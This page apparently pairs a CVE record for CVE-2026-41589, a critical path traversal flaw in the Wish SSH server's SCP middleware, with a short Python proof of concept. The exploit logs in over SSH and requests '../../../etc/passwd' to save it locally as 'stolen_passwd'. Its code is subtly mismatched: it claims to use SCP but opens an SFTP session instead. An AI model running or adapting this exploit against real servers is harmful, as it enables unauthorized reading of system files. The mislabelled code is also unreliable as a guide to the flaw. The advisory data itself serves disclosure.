CVE-2026-41589

import paramiko import sys # Conceptual PoC for Path Traversal in Wish SCP Middleware # Target: CVE-2026-41589 # Description: Connects to the target SSH server and attempts to read a file outside the root directory. TARGET_HOST = "target_ip" TARGET_PORT = 22 USERNAME = "low_priv_user" PASSWORD = "password" try: # Create SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD) # Open SCP client scp = client.open_sftp() # Attempt to read /etc/passwd using path traversal # The vulnerable SCP middleware does not sanitize '../' remote_file_path = "../../../etc/passwd" local_file_path = "./stolen_passwd" print(f"[+] Attempting to download {remote_file_path}...") scp.get(remote_file_path, local_file_path) print("[+] File downloaded successfully.") scp.close() client.close() except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-41589", "sourceIdentifier": "[email protected]", "published": "2026-05-07T14:16:02.853", "lastModified": "2026-05-07T16:16:19.833", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/charmbracelet/wish/releases/tag/v2.0.1", "source": "[email protected]"}, {"url": "https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h", "source": "[email protected]"}, {"url": "https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}